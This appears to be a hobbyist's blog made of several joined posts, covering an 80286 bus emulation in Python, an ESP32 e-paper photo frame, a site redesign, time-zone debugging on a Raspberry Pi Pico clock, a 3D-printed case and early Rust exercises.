if not COD_INTA and M_IO and not S1 and S0:
    print('Memory data read 0x{:06X}'.format(address))
else:
    print('Memory instruction read 0x{:06X}'.format(address))

if not BHE and not A0:
    print('Word transfer 0x{:02X}{:02X}'.format(MEMORY[address + 1], MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
    chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address + 1])
elif not BHE and A0:
    print('Byte transfer on upper half of data bus 0x{:02X}'.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address])
elif BHE and not A0:
    print('Byte transfer on lower half of data bus 0x{:02X}'.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

chip_data.writeRegister(MCP23S17.IODIRA, 0xFF)
chip_data.writeRegister(MCP23S17.IODIRB, 0xFF)

It’s not much more complicated than our original NOP-based solution, but there is an extra twist here that’s easy to stumble over. In what order should we place the bytes onto the data bus? The GPIOA register represents the least significant byte of the data bus, while GPIOB represents the most significant. So, for example, our initial JMP instruction (0xea00) will travel as 0x00ea (little-endian).

It’s worth scrolling back a bit and noticing that nasm already performed similar swaps. For instance, our 0x1234 value used for the addition is stored in memory as 0x3412.

'Memory data write' is very straightforward; we simply use the fake memory:

address = (a3 << 16) + (a2 << 8) + a1
print('Memory data write 0x{:06X}'.format(address))

if not BHE and not A0:
    print('Word transfer 0x{:02X}{:02X}'.format(d2, d1))
    MEMORY[address] = d1
    MEMORY[address + 1] = d2
elif not BHE and A0:
    print('Byte transfer on upper half of data bus 0x{:02X}'.format(d2))
    MEMORY[address] = d2
elif BHE and not A0:
    print('Byte transfer on lower half of data bus 0x{:02X}'.format(d1))
    MEMORY[address] = d1

The little-endian order can also be observed here, although during execution, I didn't encounter a case where it attempted to write two bytes to memory at once.

And during 'halt / shutdown', we simply print the result of the addition from memory and exit:

print('Result: 0x{:04X}'.format((MEMORY[0x000514] << 8) + MEMORY[0x000513]))
sys.exit(0)

The Final Result

In the end, running the program should produce output similar to this, where you can see it reading the initial JMP instruction, jumping to the new address, continuing to read instructions from there, reading the two numbers to be added from memory, and finally writing the result back to memory:

RESET
A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
START
#40
Memory instruction read 0xFFFFF0
Word transfer 0x00EA
#43
Memory instruction read 0xFFFFF2
Word transfer 0x0005
#46
Memory instruction read 0xFFFFF4
Word transfer 0x0000
#49
Memory instruction read 0xFFFFF6
Word transfer 0x0000
#52
Memory instruction read 0xFFFFF8
Word transfer 0x0000
#67
Memory instruction read 0x000500
Word transfer 0xC031
#70
Memory instruction read 0x000502
Word transfer 0xD88E
#73
Memory instruction read 0x000504
Word transfer 0x0FA1
#76
Memory instruction read 0x000506
Word transfer 0x0305
#79
Memory instruction read 0x000508
Word transfer 0x1106
#82
Memory instruction read 0x00050A
Word transfer 0xA305
#85
Memory instruction read 0x00050C
Word transfer 0x0513
#88
Memory data read 0x00050F
Byte transfer on upper half of data bus 0x34
#91
Memory data read 0x000510
Byte transfer on lower half of data bus 0x12
#94
Memory instruction read 0x00050E
Word transfer 0x34F4
#99
Memory data read 0x000511
Byte transfer on upper half of data bus 0x0A
#102
Memory data read 0x000512
Byte transfer on lower half of data bus 0x00
#115
Memory data write 0x000513
Byte transfer on upper half of data bus 0x0A
#116
Memory data write 0x000513
Byte transfer on upper half of data bus 0x3E
#119
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#120
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#123
halt
Result: 0x123E

It was a tremendous joy to see the correct final result at the end of execution for the first time. I think I've reached a milestone where I can stop and take a rest for now.

Of course, we've only scratched the surface; there's still a great deal left to learn. It's worth going through the processor's datasheet, or perhaps thinking about how various peripherals (such as a keyboard or a text display) are actually implemented.

What is certain, however, is that for the processor, this reality is not virtual at all. It doesn't matter to it where the electrical signals are coming from, as long as they are compatible with its own internal reality.

I got an e-paper display and a picture frame as a gift, so naturally, we're building a home cluster out of old mobile phones. Just kidding. We're building a digital photo frame. If you were more into the cluster idea, too bad you can check out this article.

On (e-)paper, the whole thing is simple. An ESP32 is hooked up to the display, hanging out on the network, waiting for new images to refresh the screen. But we also need to generate those images somehow, because the display only supports black and white.

Assembly

The passe-partout (a new word I learned during this project; before that, it was known as "that thing inside the frame around the picture") that came with the frame didn't quite match the size of the e-paper display. I could've found a piece of cardboard with the right thickness, but instead, I fired up FreeCAD, designed a new one, and 3D printed it.

The display fits perfectly (after 2-3 test prints), and there's even a bit of room for the ribbon cable.

Sharp-eyed readers might even be able to tell which xkcd is currently on the display.

I had to cut a small hole in the back of the frame so the cable could pass through and connect to the ESP32.

You have to be careful with the ribbon cable, it's pretty fragile. Don't ask me how I know. And of course, I'm not using a cable this short because I somehow messed up the connector on the extension. Definitely not.

In the end, I attached the ESP32 in the least aesthetic way possible.

I tried powering the whole thing from an IKEA power bank, but it turns out those things shut themselves off if there's not enough power drawn. And the e-paper display apparently doesn't use enough juice to keep it awake.

Software

First things first, let's try displaying something to make sure everything works. I set up the ESP32 with the Arduino IDE using the manufacturer's documentation, and then, again following the docs, displayed an image.

#include <DEV_Config.h>
#include <EPD.h>
#include <GUI_Paint.h>

UBYTE *image;
UWORD imageSize = ((EPD_7IN5_V2_WIDTH % 8 == 0) ? (EPD_7IN5_V2_WIDTH / 8) : (EPD_7IN5_V2_WIDTH / 8 + 1)) * EPD_7IN5_V2_HEIGHT;
uint8_t *imageData = nullptr;

void setup() {
  DEV_Module_Init();
  EPD_7IN5_V2_Init();
  EPD_7IN5_V2_Clear();
  DEV_Delay_ms(500);

  if ((image = (UBYTE *)malloc(imageSize)) == NULL) {
    Serial.println("Failed to apply for image memory");
    while (1);
  }
  Paint_NewImage(image, EPD_7IN5_V2_WIDTH, EPD_7IN5_V2_HEIGHT, 0, WHITE);

  Paint_SelectImage(image);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(image);
  DEV_Delay_ms(2000);
}

The imageData has to come from somewhere. You could hardcode some byte arrays into your program, but that's not very flexible. So it's time to think about how we actually want to update the image on the display.

Since we have Wi-Fi, we can go one of two routes: either act as a server or as a client. I went with the former, found a web server library that works with the hardware and created an /upload endpoint.

// ...
#include <AsyncTCP.h>
#include <ESPAsyncWebServer.h>

// ...
static AsyncWebServer server(80);
bool imageChanged = false;

void on_request(AsyncWebServerRequest *request) {
  if (request->getResponse()) {
    return;
  }
  if (!request->_tempObject) {
    return request->send(400, "text/plain", "Nothing uploaded");
  }

  imageData = reinterpret_cast<uint8_t *>(request->_tempObject);
  imageChanged = true;

  request->_tempObject = nullptr;

  request->send(200, "text/plain", "OK");
}

void on_upload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {
  Serial.printf("Upload[%s]: start=%u, len=%u, final=%d\n", filename.c_str(), index, len, final);

  if (!index) {
    size_t size = request->header("Content-Length").toInt();
    if (!size) {
      request->send(400, "text/plain", "No Content-Length");
    } else {
      Serial.printf("Allocating buffer of %u bytes\n", size);
      uint8_t *buffer = new (std::nothrow) uint8_t[size];
      if (!buffer) {
        request->abort();
      } else {
        request->_tempObject = buffer;
      }
    }
  }

  if (len) {
    memcpy(reinterpret_cast<uint8_t *>(request->_tempObject) + index, data, len);
  }
}

void update_image() {
  Paint_SelectImage(image);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(image);
  DEV_Delay_ms(2000);

  delete imageData;
  imageData = nullptr;
  imageChanged = false;
}

void setup() {
  // ...

  server.on("/upload", HTTP_POST, on_request, on_upload);
  server.begin();
}

void loop() {
  if (imageChanged) {
    update_image();
  }
  delay(1000);
}

Now we can update the image with a simple curl command:

$ curl -v -F "data=@something.wbm" "http://192.168.255.50/upload"

Assuming we have the image in the right format, of course. This display only understands black and white (not even grayscale) so we'll need a bit of trickery.

Image Generation

First, grab the image you want to display, sized at 800x480 pixels (the resolution of the display). Open it in Krita, and go to Settings > Dockers > Palette to bring up the palettes. Click the icon in the lower left corner to open the palette chooser, hit the + to add a new one, name it something like "1bit", and set black and white as the only colors.

You can close the palette windows after this, we won't need them anymore. Now go to Filter > Map > Palettize..., select your "1bit" palette, check the Dither box, and pick a pattern from the list that makes your image look halfway decent.

It's also worth playing around with the Color Mode and Offset Scale settings.

Just like before, WBMP would be a perfect format for us, but Krita doesn't support it, so we'll save the image as a PNG. Then, we'll use ImageMagick's convert command to turn it into a WBMP file:

$ convert image.png image.wbmp

The resulting file will have a 6-byte WBMP header at the start, which we don't need, so let's get rid of it.

$ tail -c +7 image.wbmp >image_no_header.wbmp

Now we can upload the file just like we did earlier:

$ curl -v -F "data=@image_no_header.wbmp" "http://192.168.255.50/upload"

And finally, a close-up of those sweet e-paper pixels:

This project can be extended in all kinds of directions. For example, with a program that converts any image to the proper format and uploads it to the frame. There are even more advanced e-paper displays out there now, with grayscale and even color support. But for now, we've reached the end of this journey, and time to move out of frame.

Eight years. The appearance of the site hasn't changed significantly for about eight years. There were some minor design changes here and there, but nothing major. I had planned a facelift for 2024 since the site turned 20 that year, but the inspiration never came. I did make a header image back in January 2024, but I wasn't satisfied with it. Then, just like that, a year flew by, and here we are.

The background image

Little did I know when I started working on the background image that I'd finish the whole redesign. I just thought it'd be funny to scatter programming-related characters around randomly. Maybe even color them as if it were syntax highlighting. I ended up scrapping that idea so that it wouldn't draw too much attention away from the content. Instead, I tried to use random shades of gray, but it was too random. In the end, I based the colors on Perlin noise.

I quickly created a little single-use PHP script that generated the proper HTML, then saved it as an image to use as the background. The dark theme variant is simply the inverted version of that.

<!DOCTYPE html>
<html>
<head>
  <style type="text/css">
html, body {
  font: 24px 'DejaVu Sans Mono';
  margin: 0;
  padding: 0;
}
.bg {
  background-color: #e6e6e6;
  color: #000;
  width: 1920px;
}
.char {
  display: inline-block;
  height: 60px;
  line-height: 60px;
  text-align: center;
  width: 60px;
}
    </style>
</head>
<body>
<div class="bg">
<!-- Put the PHP script here -->
</div>
</body>
</html>

The site's syntax highlighting couldn't handle the PHP code embedded in the HTML, so I decided to separate them instead.

<?php
$chars = '\'"+!%/=(),.-?:_$\|<>#&@{}[]';

for ($y = 0; $y < 32; ++$y) {
  for ($x = 0; $x < 32; ++$x) {
    $p = round(20 + perlin($x*0.25, $y*0.25) * 80, 2);
    print('<div class="char" style="filter: opacity(' . $p . '%);">');
    print(htmlspecialchars($chars[mt_rand(0, strlen($chars) - 1)]));
    print('</div>');
  }
}
?>

I left the PHP implementation of the perlin() function to an AI. It worked okay, but sometimes it returned negative values, even though the result was supposed to be between 0 and 1.

The header image

I had the new tagline in mind for quite a while. I liked the little wordplay between terminal velocity and the velocity of the terminal emulator. That pretty much set the direction I wanted to go in. Something reminiscent of a terminal, something related to speed, and of course, it had to include lime.

An AI provided the base image with the lime slices and bubbles. I usually hunt for free stock photos, but this time I couldn't find anything that inspired me.

I added some CRT scanlines, which may give it a bit of a terminal feel. The tagline itself is styled like a root terminal prompt, with a cursor at the end (# terminal velocity_). The horizontal glitch lines are there not just for visual interest, they might also convey a sense of motion or speed. But I won't go too deep into art analysis. :)

I used Krita to create the image. Even with my rusty Photoshop skills, it felt somewhat familiar. It didn't feel as alien as GIMP usually does to me.

And the rest

The rest hasn't really changed. I'm mostly satisfied with the layout of the text, the font sizes, and the colors. Minor tweaks between versions usually happen in this area. A little padding fix here, a slight font size tweak there, or the development of dark mode.

The blog engine hasn't changed much either. The HTML for the site is still generated by my homemade static site generator. Maybe the only noteworthy change is that I switched the syntax highlighting from client-side to server-side, so the page no longer relies on JavaScript to function.

So, that's about it. Enjoy reading for the next 20 years as well!

I feel like I painted myself into a corner here. It's getting harder and harder to find time-related titles for these posts. Yet here we are again with a little bit of progress on the project.

In the last episodes, we couldn't convince CLion to do as we wished and PyCharm wasn't that cooperative either (The time has (not yet) come), but at least we printed out a nice little case around the clock (Time in a Box), that we don't use.

Today we'll continue the journey by taking a step back and trying to tame CLion once again, then we'll have a chance to experience the deep dark horrors known as time zones.

Development environment on a Pi

The purpose of hobby projects (at least for me) is to have as much fun as possible (depending on your definition of 'fun', I guess, but we'll see that later). I didn't want to continue the project in MicroPython since I do enough Python in my day-to-day life, I needed some change. And I'm stubborn.

The original idea was to take a regular Raspberry Pi, connect the Pico to the Raspberry Pi's GPIO instead of the Picoprobe (Debugprobe), plug in a monitor/keyboard/mouse, and start developing on that. The idea slightly changed when I couldn't find a suitable HDMI converter for the Rasberry Pi. The new plan is to try to convince CLion running on a Windows machine to use the Raspberry Pi as a build environment via SSH.

Theoretically, the Pi is the most suitable environment for Pico development. After a few simple commands, everything should just work:

$ wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh
$ chmod +x pico_setup.sh
$ ./pico_setup.sh

Just a bit of waiting and we're done... unless you happen to be the (increasingly less) happy owner of a Raspberry Pi 5 because at the time of writing this script wasn't able to handle the new model. Luckily I found this pull request, which got me halfway there, but I also needed a new OpenOCD interface config, which I can't remember where I got it from:

/usr/local/share/openocd/scripts/interface/raspberrypi5.cfg

adapter driver linuxgpiod

adapter gpio swclk 24 -chip 4
adapter gpio swdio 23 -chip 4

With that, I managed to run one of the examples from the Pimoroni repository:

$ openocd -f interface/raspberrypi5.cfg -f target/rp2040.cfg -c "program gfx_pack_demo.elf verify reset exit"

Despite all this, I went with the Picoprobe at the end. I read somewhere that this driver is slower than the Picoprobe, so I wired it up again and connected it to the Pi with a USB cable. This way I could use this good old OpenOCD command:

$ openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg -c "program gfx_pack_demo.elf verify reset exit"

The lion's share of the work

Now we just need to get CLion to do its magic. In theory, it has the support, let's see what we can do with it. First, it needs an SSH config to connect to the Pi:

Then a remote toolchain that uses this SSH connection:

It's probably also worth setting up a deployment to make file synchronization work (although it won't, but we'll come back to that in a moment):

And finally, a debug configuration to run our code.

Here we have a few interesting bits worth mentioning. For GDB, I chose to run on the remote host, so the 'target remote' args can connect to localhost (gdb and openocd both run on the Pi). In the 'GDB Server args' area, the first two parameters (interface and target setting) used to be enough, the adapter speed is probably optional. And the program... well, that's an interesting story.

In an ideal world, the 'Upload Executable' part would be, say, 'If updated' instead of 'Never', but if that's turned on, it would try to use the file from the Windows machine, but that isn't there, because ELF files generated on the Pi aren't synced by CLion.

If I turn off the setting mentioned in the ticket and hit Tools > Resync with Remote Host, it does download the ELF file, but somehow it still doesn't end up on the Pico. Based on the output, it looks like it's starting to do it, but ultimately nothing happens. I wonder why it even needs to download it (and then upload it back to the Pi) if everything is already there? A mystery.

So I'd rather call the program manually, but that way the reset breaks the connection to the debugger, which is not so nice if you want to... you know... debug. I ended up making two configurations, one that can upload (program part included) and the other that can only debug (no program part). It's not an ideal solution, but it works.

The console output of our Pico can be accessed by running minicom -b 115200 -o -D /dev/ttyACM0 on the Pi.

The right time

In the Python version, we connected to Wi-Fi and obtained the time from an NTP server. Now we need to do the same with the C SDK. In reality, this was done before the Python version, but let's ignore that.

First of all, the SNTP module needs some configuration in the CMakeLists.txt file:

add_definitions(
  -DSNTP_SERVER_DNS=1
  -DSNTP_SERVER_ADDRESS="hu.pool.ntp.org"
  -DSNTP_SET_SYSTEM_TIME=sntp_set_system_time
  -DSNTP_STARTUP_DELAY=0
)

The sntp_set_system_time part is a C function that we have to define. We'll also need some libraries from the SDK:

target_link_libraries(
  pico-clock
  hardware_rtc
  pico_cyw43_arch_lwip_threadsafe_background
  pico_lwip_sntp
  pico_stdlib
  pico_time
)

The function mentioned before to handle the time we get from the NTP server:

#include "hardware/rtc.h"
#include "lwip/apps/sntp.h"
#include "pico/cyw43_arch.h"
#include "pico/stdlib.h"
#include "pico/time.h"
#include "pico/util/datetime.h"

bool sntp_finished = false;

void sntp_set_system_time(uint32_t sec) {
  datetime_t datetime;
  time_to_datetime(sec, &datetime);

  rtc_set_datetime(&datetime);

  sntp_stop();
  cyw43_arch_disable_sta_mode();

  sntp_finished = true;
}

We turn off the SNTP module and disconnect from the Wi-Fi after the successful time synchronization. Now we just need to start the whole thing:

int main() {
  stdio_init_all();
  cyw43_arch_init_with_country(CYW43_COUNTRY_HUNGARY);
  rtc_init();

  cyw43_arch_enable_sta_mode();
  while (cyw43_arch_wifi_connect_timeout_ms("SSID", "secret", CYW43_AUTH_WPA2_AES_PSK, 30000)) {
    printf("failed to connect.\n");
  }

  sntp_setoperatingmode(SNTP_OPMODE_POLL);
  sntp_init();

  while (!sntp_finished) {
    printf("waiting for time.\n");
    sleep_ms(100);
  }

  datetime_t now_utc;
  char datetime_buf[256];

  while (true) {
    rtc_get_datetime(&now_utc);
    datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_utc);
    printf("%s\n", datetime_buf);
    sleep_ms(1000);
  }
}

If all's well, the Pico connects to the Internet, talks to the NTP server and we start to see the time on the console every second:

Tuesday 27 August 20:47:13 2024
Tuesday 27 August 20:47:14 2024
Tuesday 27 August 20:47:15 2024
...

The only problem is that it's in UTC, so we need a solution to convert it to our local time.

My time with the time zones

A desktop clock wouldn't be worth much if it could only display the time in UTC. We receive a Unix timestamp from the NTP server, but the RTC (Real-time clock) module already expects a datetime_t struct and it returns one as well, so we need to use that when displaying the time.

In theory, mktime can make a Unix timestamp from a date and time struct, and localtime can make a date and time struct in the appropriate time zone from a Unix timestamp. The pico/util/datetime.h part of the SDK also provides some helper functions we will use, but they are just wrappers around mktime and localtime. datetime_to_time turns a datetime_t into a Unix timestamp, and time_to_datetime turns a Unix timestamp into local time (in a datetime_t).

But there's a little twist. Both directions work with local time and we need to be able to tell one to work from UTC, and the other to use the time zone we are currently in. But how could we achieve this?

The only starting point I had was the tzdata package, which contains time zone data files. Maybe I can find something there, like uploading the contents of a time zone file to the Pico somehow. This did not lead to the solution, but I found out that the time zone names we use (like Europe/Budapest) are actual files in the /usr/share/zoneinfo directory.

I also ran into the environment variable called TZ, whose value could be, say, Europe/Budapest, which we now know is actually the file /usr/share/zoneinfo/Europe/Budapest, so it's a dead end. Or is it?

After a bit more searching I found a manual with the information I needed: the TZ variable isn't for just file paths, it can contain a time zone definition as well. Based on the manual and the information on the related Wikipedia page the definition of Europe/Budapest would look something like this:

TZ=CET-1CEST,M3.5.0/2,M10.5.0/3

The base time zone is CET which we need to subtract one hour from to get the UTC time. The period of summer daylight saving is called CEST. Summer daylight saving starts on the last Sunday of March (M3.5.0) at 1 AM UTC which is 2 AM in CET (because this format requires the local time). The end of summer daylight saving is the last Sunday of October (M10.5.0), at 1 AM UTC as well, which is 3 AM in CEST.

If I understand this correctly then the time zone file would give you more rules if they changed in the past or will change in the future. For example, if you run a zdump -v Europe/Budapest | less command, then you can see that in 1916 the start of summer daylight saving was the last Sunday of April at 11 PM.

With this power we can convert the time from the RTC module to the correct local time, we just need to adjust the value of the TZ variable before the datetime_to_time and time_to_datetime calls.

datetime_t now_utc;
datetime_t now_local_time;
char datetime_buf[256];

while (true) {
  rtc_get_datetime(&now_utc);

  setenv("TZ", "UTC", 1);
  time_t timestamp;
  datetime_to_time(&now_utc, &timestamp);

  setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  time_to_datetime(timestamp, &now_local_time);

  datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_utc);
  printf("utc time:   %s\n", datetime_buf);
  datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_local_time);
  printf("local time: %s\n", datetime_buf);

  sleep_ms(1000);
}

Everything looks good... on the first iteration.

utc time:   Tuesday 27 August 21:02:03 2024
local time: Tuesday 27 August 23:02:03 2024
utc time:   Tuesday 27 August 21:02:04 2024
local time: Tuesday 27 August 21:02:04 2024
utc time:   Tuesday 27 August 21:02:05 2024
local time: Tuesday 27 August 21:02:05 2024

But only on the first iteration, then it went downhill. It looks like the two functions are somehow stepping on each other's toes. I checked out multiple implementations of the two functions but I couldn't find out the problem. In the end, I went with a 'hotfix' instead of a proper solution: I found an mktime implementation in the Linux kernel source that doesn't care about time zones and things started to work.

The real enlightenment came when I was writing this post and re-read the TZ documentation. Maybe it just needs to know how much is the difference compared to UTC even if we want UTC? This, fortunately, solved the problem, I had to replace the setenv("TZ", "UTC", 1) part with setenv("TZ", "UTC+0", 1). The plain UTC would probably refer to the file /usr/share/zoneinfo/UTC, which we don't have here.

utc time:   Tuesday 27 August 21:08:56 2024
local time: Tuesday 27 August 23:08:56 2024
utc time:   Tuesday 27 August 21:08:57 2024
local time: Tuesday 27 August 23:08:57 2024
utc time:   Tuesday 27 August 21:08:58 2024
local time: Tuesday 27 August 23:08:58 2024
...

Everything was nice but after like 10 minutes the clock started to display UTC time again. You can question my definition of a fun hobby project at this point. I know I did.

I fired up the debugger, but at one point I only saw assembly code in CLion, so I had to get the source. After a bit of research, I found out that the Newlib C standard library provides the mktime and localtime functions (among many others).

I ran a sudo apt install newlib-source command on the Pi and got the source in the /usr/src/newlib/newlib-3.3.0.tar.xz file so I could point the CLion in the right direction. In the deepest parts of this library I found out that when the localtime tries to load the value of the TZ variable, there is nothing there. This made the setenv function to the new suspect. We call it, obviously but it didn't do its thing after the 6000th run or so.

After another long search, I arrived at this part of the code:

  if (!((*p_environ)[offset] =  /* name + `=' + value */
  _malloc_r (reent_ptr, (size_t) ((int) (C - name) + l_value + 2))))
    {
      ENV_UNLOCK;
      return -1;
    }

I verified that the setenv really returns -1 at the point when everything goes wrong. I'm not a C expert, but based on that malloc I jumped to the conclusion that we ran out of memory. I made a little program to try this out:

int counter = 0;
int res;
while (true) {
  res = setenv("TZ", "UTC+0", 1);
  if (res == -1) {
    printf("oops: %d\n", counter);
    break;
  }

  res = setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  if (res == -1) {
    printf("oops: %d\n", counter);
    break;
  }
  ++counter;
}

As expected, I got the message:

oops: 5217

I was wasting my time with the mktime and localtime source code, the problem was the setenv function all along. If we take a look at the code we can see if the new value of the environment variable is longer than the old value we allocate a new chunk of memory that will not be freed. And our code does almost nothing else than setting a longer value for an environment variable. What if we keep the two values on the same length? Would it work? I filled the shorter one with extra spaces and tried it out.

int counter = 0;
int res;
while (true) {
  res = setenv("TZ", "UTC+0                       ", 1);
  if (res == -1) {
    printf("oops: %d\n", counter);
    break;
  }

  res = setenv("TZ", "CET-1CEST,M3.5.0/2,M10.5.0/3", 1);
  if (res == -1) {
    printf("oops: %d\n", counter);
    break;
  }
  ++counter;
}

No more oops from this one, the problem is solved, so I can put the time conversion part back and check out if everything still works.

utc time:   Tuesday 27 August 21:38:21 2024
local time: Tuesday 27 August 22:38:21 2024
utc time:   Tuesday 27 August 21:38:22 2024
local time: Tuesday 27 August 22:38:22 2024
utc time:   Tuesday 27 August 21:38:23 2024
local time: Tuesday 27 August 22:38:23 2024
...

This is something new. We lost an hour somewhere. At this point, I had already acquired enough routine to suspect that mktime could not interpret the TZ value correctly because of all the extra spaces. I put an extra comma after UTC+0, to see if that would soften the parser's heart of stone...

setenv("TZ", "UTC+0,                      ", 1);

... and to my surprise, it worked!

utc time:   Tuesday 27 August 21:39:22 2024
local time: Tuesday 27 August 23:39:22 2024
utc time:   Tuesday 27 August 21:39:23 2024
local time: Tuesday 27 August 23:39:23 2024
utc time:   Tuesday 27 August 21:39:24 2024
local time: Tuesday 27 August 23:39:24 2024
...

Huge success. After several days of suffering fun and laughter, we finally got the Pico clock to show the correct local time. Hopefully, it will handle the end of the summer daylight saving properly. We'll see on the last Sunday in October. Maybe we will have some nice output on the LCD display by then.

Did I just print that for the sake of a pun? Maybe...

I've been thinking about getting a 3D printer for a long time, but I wanted something closer to the end-user experience, like a 2D printer. I didn't want to start building 3D printers as a hobby, I just wanted to print.

Then I discovered Bambu Lab's printers, which seemed to be just like that. I was hesitating between the A1 and P1 product lines, finally settling on the A1 (without the AMS lite), thinking that as a first printer, the cheaper one would do. The main difference is that it is not recommended to print ABS with the A1, but for now, that doesn't really bother me.

Obviously, when it arrived I printed out all the silly things I could download from the Internet, but one of the reasons I convinced myself I might need a 3D printer was so I could print parts for my little hardware projects. One such project is the Pico-based clock, which hasn't changed much in software since then, but now has a half-baked box. Let's have a look at how it was made.

Design

I'm quite familiar with Blender, so I started to put the box together using that, but I probably would have been better off learning some CAD software instead. It's not impossible to do this kind of thing in Blender, but it's not what it's designed for.

Click for the bigger picture!

I also searched for my old digital caliper, but the digital part wasn't working anymore (luckily it still worked as an analog caliper), so I couldn't measure things accurately enough.

Execution

First, I printed a frame around the display... then a couple more, because of the measurement problems mentioned above.

You can't really see the differences with the naked eye. I adjusted tenths of millimeters (that's like 4 thou for the US folks out there) until I finally got the exact fit.

The next step was to place the buttons. At first, I thought it would be part of the printed case, but the buttons were too small and the PLA isn't suitable for this kind of use.

Once the buttons were in place (I made about 3-4 versions of them to fit the holes properly), I had a roughly finished front element that fit the electronics perfectly.

Now the back half. Here I had multiple problems with the holes for the screws.

I was planning to put threaded inserts in the front, the screws would have just gone through the back, but the package didn't arrive in time, so I ended up with holes that were small enough that the M2 screws can cut the threads for themselves. This will do for the first version.

The other problem was the position of the holes, they had to be in the same place as the holes in the corners of the PCB to eventually screw the two parts together.

Same deal as with the display frame, but in this case my first guess was about half a millimeter off. In the end, I had to cut a bit more off the corners, because the back was too high for my longest screw to reach through.

Next came the USB location. For this, I just printed a small part of the back again and again until I found the exact position.

After the first version, I also cut back on the details to reduce printing time.

And here we are with the first version. It's not that good-looking, but all the measurements are right, and I'll be able to make it more pretty in the next version if I can still make sense of the Blender model.

Although you can't see it in the picture, there's a small hole under the USB, through which you can also reach the LiPo SHIM on/off button.

The buttons got small lettering, but the 0.4 mm nozzle couldn't handle it properly.

The familiar retro backlight and last year's fake interface.

All in all, 3D printing is great fun, what I might do differently in hindsight is not to start without a working digital caliper to produce less plastic junk during the project. And I'd try to get myself to take a closer look at some CAD software.

Let's talk a little about language learning. Well, not about learning the weird languages that humanoids use among themselves, but rather about learning programming languages.

I've been checking out Rust for a while now, so when I read on a game developer blog that it was written in Rust, I started looking into it again. I read about game engines for Rust and tried out some sample code, but I'm aware of my limitations (as a developer, but even more so as a graphic designer), I wouldn't start developing a game, especially in a language I don't even know well.

So I went into more familiar waters and looked at what web frameworks were out there, and got quite a long way in reading the documentation of one of the more sympathetic ones when I started having trouble fully understanding the example codes. Maybe going back to the basics wouldn't hurt.

Nowadays, the Internet is full of online courses and videos, but I'm leaning towards the more traditional means of learning, so I went with the official Rust book. I got about halfway through when I was getting really bored of reading and not programming.

I also found this "exercise book" like collection, where most of the code is already written, you just have to get it to compile or the tests to turn green. I think the basic idea is very good, I have come across something like this for other languages in the past.

The only problem is that I tend to switch from learning mode to problem-solving mode for these kinds of tasks, which is great for getting through this "game" quickly, but not really helpful for deeper understanding.

I did manage to slow down in a few places, where I either couldn't solve the task after several attempts or couldn't even figure out where start, so I needed to read the documentation a bit. The first solutions often didn't turn out great, obviously, I don't know the tools provided by the language, so I work with what I have (or what I learned a few exercises ago). For example, my first solution for the hashmaps/hashmaps3.rs level turned out something like this:

match scores.get_mut(&team_1_name) {
  Option::Some(team) => {
    team.goals_scored += team_1_score;
    team.goals_conceded += team_2_score;
  }
  Option::None => {
    scores.insert(
      team_1_name.clone(),
      Team { goals_scored: team_1_score, goals_conceded: team_2_score }
    );
  }
}
match scores.get_mut(&team_2_name) {
  Option::Some(team) => {
    team.goals_scored += team_2_score;
    team.goals_conceded += team_1_score;
  }
  Option::None => {
    scores.insert(
      team_2_name.clone(),
      Team { goals_scored: team_2_score, goals_conceded: team_1_score }
    );
  }
}

Then I found out about the entry function of the HashMap and the or_insert function of the Entry, which greatly simplified the above code:

let team = scores.entry(team_1_name)
                 .or_insert(Team { goals_scored: 0, goals_conceded: 0 });
team.goals_scored += team_1_score;
team.goals_conceded += team_2_score;

let team = scores.entry(team_2_name)
                 .or_insert(Team { goals_scored: 0, goals_conceded: 0 });
team.goals_scored += team_2_score;
team.goals_conceded += team_1_score;

Later, the Team got some extra functions...

impl Team {
  fn new() -> Self { Team { goals_scored: 0, goals_conceded: 0 } }
  fn add(&mut self, scored: u8, conceded: u8) {
    self.goals_scored += scored;
    self.goals_conceded += conceded;
  }
}

...and this was my final solution:

scores.entry(team_1_name)
      .or_insert(Team::new())
      .add(team_1_score, team_2_score);
scores.entry(team_2_name)
      .or_insert(Team::new())
      .add(team_2_score, team_1_score);

After I had finished with the Rustlings levels, I had to look for a new task. A web development project still felt like too much to handle. Back when I was learning Python, I used to solve Project Euler problems for practice. I went on with a similar idea now as well.

I (also) started the Advent of Code 2023 last December and although I didn't get very far, I got solutions for the first few days in PHP (I like mixing things up) that I can reimagine in Rust.

Existing solutions are not a prerequisite for the Advent of Code exercises to be useful for some programming practice, but I personally don't like having two distractions at once: one is that I don't know how to solve the exercise yet, and the other is that I don't know Rust. That usually just leads to frustration and makes you lose interest in the whole thing.

Obviously, there are a lot of Advent of Code solutions on the Internet, but then you spend time trying to understand other people's code, so it may be better to go with your own solution.

Below is the solution for the first half of the first day, I think it turned out quite Rust-like:

use std::fs;

fn main() {
  let sum: u32 = fs::read_to_string("data/input_1.txt").unwrap()
    .lines()
    .map(calibration_value)
    .sum();

  println!("{:?}", sum);
